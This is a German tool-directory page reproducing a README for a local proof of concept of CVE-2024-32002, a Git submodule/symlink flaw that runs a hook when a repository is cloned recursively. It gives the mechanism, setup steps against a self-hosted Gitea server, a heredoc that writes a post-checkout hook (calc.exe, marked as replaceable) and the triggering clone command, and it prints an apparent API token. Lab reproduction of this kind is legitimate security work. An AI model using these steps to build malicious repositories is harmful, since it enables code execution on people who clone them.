Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
running-CVE-2024-32002-locally-for-tesing — Anpassen von CVE-2024-32002 für den Offline- und lokalen Betrieb | Kitploit
Tools/GitHubGitHub/chriswalker11/running-cve-2024-32002-locally-for-tesing
SchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungPayload-EntwicklungLabs & Praxis
GitHubchriswalker11/running-cve-2024-32002-locally-for-tesing

running-CVE-2024-32002-locally-for-tesing

Anpassen von CVE-2024-32002 für den Offline- und lokalen Betrieb

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
vor 2 JahrenNoch nicht geprüft

Wir passen dies für den lokalen Gebrauch an

wir folgen diesem Blogbeitrag, jedoch mit einigen wesentlichen Unterschieden https://amalmurali.me/posts/git-rce

Funktionsweise

  1. Ein bösartiges Repository (git_rce) enthält ein Submodul mit einem speziell präparierten Pfad.
  2. Der Submodul-Pfad verwendet eine Groß-/Kleinschreibungsvariation, die das nicht case-sensitive Dateisystem ausnutzt.
  3. Das Submodul enthält einen Symlink, der auf sein .git/-Verzeichnis verweist, das einen schädlichen Hook enthält.
  4. Wenn das Repository geklont wird, wird dem Symlink gefolgt und der schädliche Hook ausgeführt, was zu RCE führt.

Reproduktion

⚠️ Warnung: Führen Sie diesen PoC nicht auf Systemen aus, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung haben. Unautorisierte Tests könnten unbeabsichtigte Folgen haben.

wir müssen einen API-Token für Gitea erstellen. Dieser ist unter http://<YOUR_GITEA_SERVER_IP>:3000/user/settings/applications zu finden. ich habe dem Token Zugriff auf alles gegeben, um sicherzustellen, dass alles funktioniert

dann können wir unser poc.sh ausführen und sicherstellen, dass wir die abgefragten Informationen angeben, wie IP-Adresse und Port für den Gitea-Server, Benutzername und Token zum Erstellen der Repositories.

root@kitploit:~
Enter the IP address or FQDN (without http://): localhost:3000
Enter your username: chris
Enter your API token: 3c57dbe1756734612f457b1fa08583df64fb5ea4
Enter the name for the first repository: hook 
Enter the name for the second repository: main

außerdem müssen wir die Zeilen 42-46 bearbeiten, um die Payload zu enthalten

root@kitploit:~
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe #or replace with other poc 
EOF

es gibt einen weiteren Schritt: Wir müssen zu den .gitmodules vom main-Repository zum hook-Repository gehen. Ich bin manuell zum Repository in Gitea gegangen und habe die Datei geändert.

screenshot1

und dann habe ich Folgendes eingegeben

root@kitploit:~
[submodule "x/y"]
	path = A/modules/x
	url = http://<your_git_tea_server>:3000/chris/hook.git

wobei ich sicherstellte, dass ich beim Aufrufen von A/modules so etwas sehen konnte

screenshot2

dann sollte durch Anklicken des Commits das andere Repository mit dem POC-Inhalt angezeigt werden, wenn man darauf klickt

dann können wir unsere URL nehmen und dies sollte funktionieren, um den Exploit auszulösen

root@kitploit:~
git clone --recursive http://<your_git_tea_server>:3000/<your_user_name>/main.git

Danksagungen

Dank an filip-hejsek und amalmurali47 für die Entdeckung dieser Sicherheitslücke und für den Blogbeitrag und das Repository, aus denen wir anpassen konnten.

Tool herunterladen